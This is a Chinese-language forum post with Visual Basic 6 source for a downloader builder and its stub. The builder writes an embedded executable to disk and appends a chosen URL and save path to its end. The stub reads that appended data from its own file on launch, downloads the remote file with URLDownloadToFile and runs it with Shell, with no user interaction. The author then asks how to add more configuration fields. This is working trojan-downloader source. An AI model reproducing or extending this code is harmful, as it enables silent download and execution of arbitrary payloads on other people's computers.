我写了个生成器
服务端
Const FILE_SIZE = 20480 '这是101号资源中的服务端文件1.exe的大小确定了服务端的大小才能把信息写到尾部
Private Sub Command1_Click()
Dim bInfo As Byte
Dim bFile() As Byte
Dim iInfoLen As Integer
Dim i As Integer, lFile As Long
str2 = Trim(Text1.Text) '这个是下载的地址
str3 = Trim(Text2.Text) '这个是保存的路径
str1 = str2 & "#" & str3 '加个#号是为了方便服务端将地址和路径分离出来
iInfoLen = Len(str1)
If Text1.Text = "" And Text2.Text = "" Then
MsgBox "请输入正确的下载地址和保存路径!", , "提示!"
Exit Sub
End If
On Error GoTo myErr:
bFile = LoadResData(101, "CUSTOM") '读出101号资源
Open App.Path & "\server.exe" For Binary Access Write As #1 '以二进制的方式打开资源文件即101
For lFile = 0 To FILE_SIZE - 1
Put #1, , bFile(lFile)
Next lFile
For i = 1 To iInfoLen '读出配置信息并追加就 是写到文件的尾部
bInfo = Asc(Mid(str1, i, 1))
Put #1, , bInfo '将信息写入服务端中
Next i
Close #1
Exit Sub
myErr:
Reset '如果有文件未关闭,则关闭之
MsgBox Err.Description & " 程序运行出错了."
End Sub
===============================
客户端
Const FILE_SIZE = 20480 '这是服务端的大小怎么知道服务端的大小?我用了个笨方法等下大家就知道了
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long '这个是个API函数功能就是下载文件用的
Private Sub Form_Load()
Dim lngRetVal As Long
Dim bAppend As Byte, lNum As Long
Dim i As Long, sInfo As String
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
Seek #1, FILE_SIZE + 1 '将读取指针定位到文件末我们把信息写到尾部了所以要从尾部读
For lNum = 1 To FileLen(App.Path & "\" & App.EXEName & ".exe") - FILE_SIZE
Get #1, , bAppend
sInfo = sInfo + Chr(bAppend) '这个就是读出来的信息地址和路径
Next lNum
Close #1
URL = Left(sInfo, InStr(sInfo, "#") - 1) '分离出地址
Path = Right(sInfo, Len(sInfo) - InStr(sInfo, "#")) '分离出了路径
lngRetVal = URLDownloadToFile(0, URL, Path, 0, 0) '下载文件到指定路径
If lngRetVal = 0 Then
Shell Path '执行文件
End If
End
End Sub
==============
假如我要加Text3和Text4 那么我要怎么做 才行?